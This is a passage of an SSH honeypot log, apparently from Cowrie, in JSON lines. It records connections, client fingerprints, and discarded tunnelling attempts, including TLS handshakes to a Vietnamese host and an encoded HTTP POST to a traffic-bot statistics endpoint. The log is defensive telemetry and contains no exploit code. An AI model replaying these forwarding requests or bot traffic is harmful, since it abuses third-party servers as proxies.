\\n\\xe1\\xe5\\xd4\\xe7\\xf7\\xd1l\\xa6u\\xff~\\xd2T\\x13*\\xf4P4\\x80w\\x11!\\xa0\\xc0\"\\xab=\\xd2\\xfbvt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8ca5\\x97~L\\xffU\\x02\\xef\\xe0\\xd5\\xc6\\xc3t\\xa0\\xb7\\xb1\\x9d\\x87 u#\\xd9E\\xaf\\np\\xa4\\xd2\\xfc\\xcc \\r\\xe9>\\xad\\xa6\\xe1\\x0c{\\x8d,V\\xf2\\xa8\\xe1V\\xeaUT\\x98\\x91\\xbfgh\\xa9\\x81\\xc7\\x96\\x05i\\rZ\\xf9\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\n\\xe1\\xe5\\xd4\\xe7\\xf7\\xd1l\\xa6u\\xff~\\xd2T\\x13*\\xf4P4\\x80w\\x11!\\xa0\\xc0\"\\xab=\\xd2\\xfbvt\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:05.000468Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.188.210","src_port":60919,"dst_ip":"10.17.0.5","dst_port":22,"session":"be6680f3e3eb","protocol":"ssh","message":"New connection: 173.208.188.210:60919 (10.17.0.5:22) [session: be6680f3e3eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:05.365945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:05.372332Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:05.405243Z","src_ip":"123.27.168.40","session":"e205bd0f8237","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:05.575432Z","src_ip":"173.208.188.210","session":"be6680f3e3eb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.760129Z","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.818753Z","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.823662Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WlRvRzMmYnU4aFh4QiZeQg%3D%3DLJdA4MHFMG9vyCC5qIrUIgjHlXnTotqyicJadvwyeurjwMAVdChYPsgvGGT2%2B3%2BEGifJZgXFHpa8HSqvjslrBF4ySOlZhiWmyQD28RmSdAI2AoZUrHJi21gNYsxTWt1BT5witzr1pIljlLPtFeOCjbDjduddEN2n1WGBl44FSy%2B749Lk%2FB8%2BY9S5QMBPC0ToOkqYpsesAZFOilVgerHyXigPBE%2BsI%2FZj%2BlwOPoLE%2FIBetEmAVDvuozMGu6A6%2B20CqdvU7ZKjLX3CVdK09CD1Q4xtNaRBbhSNEPjz6UmkXFEtZIqaeZs6E6V%2F74H9Ul8likeuXwT1I8BK9xM2LO2baOq7jF%2Bmc5DQEQtRhdbCtZDbiF76P3xN7ur7eiBBXyWuh%2F6J5vibvrLv15ohMiZs31WR9f6WBAwEr3Mpy7VFsIKupkHyw%2Fp2NKlv9yWWvsWgnNv%2F9eELNK5X4VYrgtlcdjUvMLkEPCo%2BSowWoXRcomPGk%2F%2BfL2Inq9q3cEQGukmo3lTOUqkt8xzzI3J1AjOkSB8H5isAqzoii%2FnOptXrjghsq2dHSjQzfGVJZ6AmaSOoXDMj%2FKMMybip%2FveNCT1pfH1Y34t8WHxEwPAaEMcXZGNWcfXRS87PSEECZVg%2B6IyO7D%2BHqpRQ%2BQ55vFQ6vQr3EDRIkXczZF0lNaz2Z97ItBUUN0%2BDK9Ua0euA2lvZtWSxWEWBma5a9Fr9F8p4msW2Om%2BYw3a44EJsaBLiRXP4epW7yvCmiqogExkw%2FPusE435HWRBSLhZaUyKeuKnMi64Y%2FZI9hs%2Bl3Xhwh2LdE4mgMZ%2FGzW%2B%2B0cXpGU6stTEE%2Bq%2Fp1ceSo3VLUI33H%2B2TyVlKMGUoCSLyzlf%2Bp71skPumcaABHUym2KBAO0datTDlroq6WbadpOGVJe4qq0il914nPxzxGoov8ovsrwxYcrfA0mUrCS2dkgm4TLzNVYtNkPPgn2D7%2B%2FqXR1DZWYcWAOjJVndSy9eJF9Jt6sXQsw5pqc2x3UHGsfBS8Uv4%2B2YFBDb1OQgRhkup7ePGAQRi%2BCkuGzW%2BoA7iUJWtpRyS3PiMdTeNGoB7jgHwzFDBY94U%2Btu'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_9 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.4.9 Mobile/16H5 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1202\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=WlRvRzMmYnU4aFh4QiZeQg%3D%3DLJdA4MHFMG9vyCC5qIrUIgjHlXnTotqyicJadvwyeurjwMAVdChYPsgvGGT2%2B3%2BEGifJZgXFHpa8HSqvjslrBF4ySOlZhiWmyQD28RmSdAI2AoZUrHJi21gNYsxTWt1BT5witzr1pIljlLPtFeOCjbDjduddEN2n1WGBl44FSy%2B749Lk%2FB8%2BY9S5QMBPC0ToOkqYpsesAZFOilVgerHyXigPBE%2BsI%2FZj%2BlwOPoLE%2FIBetEmAVDvuozMGu6A6%2B20CqdvU7ZKjLX3CVdK09CD1Q4xtNaRBbhSNEPjz6UmkXFEtZIqaeZs6E6V%2F74H9Ul8likeuXwT1I8BK9xM2LO2baOq7jF%2Bmc5DQEQtRhdbCtZDbiF76P3xN7ur7eiBBXyWuh%2F6J5vibvrLv15ohMiZs31WR9f6WBAwEr3Mpy7VFsIKupkHyw%2Fp2NKlv9yWWvsWgnNv%2F9eELNK5X4VYrgtlcdjUvMLkEPCo%2BSowWoXRcomPGk%2F%2BfL2Inq9q3cEQGukmo3lTOUqkt8xzzI3J1AjOkSB8H5isAqzoii%2FnOptXrjghsq2dHSjQzfGVJZ6AmaSOoXDMj%2FKMMybip%2FveNCT1pfH1Y34t8WHxEwPAaEMcXZGNWcfXRS87PSEECZVg%2B6IyO7D%2BHqpRQ%2BQ55vFQ6vQr3EDRIkXczZF0lNaz2Z97ItBUUN0%2BDK9Ua0euA2lvZtWSxWEWBma5a9Fr9F8p4msW2Om%2BYw3a44EJsaBLiRXP4epW7yvCmiqogExkw%2FPusE435HWRBSLhZaUyKeuKnMi64Y%2FZI9hs%2Bl3Xhwh2LdE4mgMZ%2FGzW%2B%2B0cXpGU6stTEE%2Bq%2Fp1ceSo3VLUI33H%2B2TyVlKMGUoCSLyzlf%2Bp71skPumcaABHUym2KBAO0datTDlroq6WbadpOGVJe4qq0il914nPxzxGoov8ovsrwxYcrfA0mUrCS2dkgm4TLzNVYtNkPPgn2D7%2B%2FqXR1DZWYcWAOjJVndSy9eJF9Jt6sXQsw5pqc2x3UHGsfBS8Uv4%2B2YFBDb1OQgRhkup7ePGAQRi%2BCkuGzW%2BoA7iUJWtpRyS3PiMdTeNGoB7jgHwzFDBY94U%2Btu'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.826918Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.885425Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90xw\\xd5n\\xa0\\x86\\xb0M\\xe8PN\\x8d\\x89\\xcb\\xc1\\xc7\\xb9\\x19\\x1a\\xb7\\x0e;\\xef\\xfb\\xadr\\xfdKF\\xa2\\xa0 {i\\xc2\\xadi'\\xa7\\x1b?\\x9f\\x8c;b^s\\x13/\\xe7\\xe9]\\t\\xddw;$R\\x94\\xa0w\\xaa\\xb4\\xe1\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdea\\xbd\\xbe\\xe05\\xb2\\x13\\x80\\xa7\\x80\\xea\\x84+#\\x9a\\xfeC\\xbcDn\\x1cG\\x0fli\\xc3\\xd4A\\x1e\\x9bB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x90xw\\xd5n\\xa0\\x86\\xb0M\\xe8PN\\x8d\\x89\\xcb\\xc1\\xc7\\xb9\\x19\\x1a\\xb7\\x0e;\\xef\\xfb\\xadr\\xfdKF\\xa2\\xa0 {i\\xc2\\xadi'\\xa7\\x1b?\\x9f\\x8c;b^s\\x13/\\xe7\\xe9]\\t\\xddw;$R\\x94\\xa0w\\xaa\\xb4\\xe1\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xdea\\xbd\\xbe\\xe05\\xb2\\x13\\x80\\xa7\\x80\\xea\\x84+#\\x9a\\xfeC\\xbcDn\\x1cG\\x0fli\\xc3\\xd4A\\x1e\\x9bB\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.888656Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:07.979112Z","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:31:08.041243Z","src_ip":"23.175.50.52","session":"6a1ee93571f6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03PA0\\xe3\\xeaKJc\\xd2\\xe8\\'Z\\xe7LA\\x94\\xd6\\xfe\\xdd\\xb6\\xf6\\xe78\\xa0\\xce\\xa3\\x0ca\\x1cM@\\xb4 \\xbc\\xed\\xe0\\x87Y\\x05N\\x98Fy\\xf2\\x80r\\xe4:/r\\xd5#\\xac\\xd55\\xe1Cm\\xc4\\x01\\xb3\\xd06\\xa8\\xcf\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4A\\x10\\x11\\x88S\\xe6\\xe7\\xacSE\\x94.\\xa2\\xd4V\\x0e\\xc7\\x91%\\x06\\x03\\r\\xdb>\\xd4\\xc4R\\'\\x9fez\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\n\\n\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","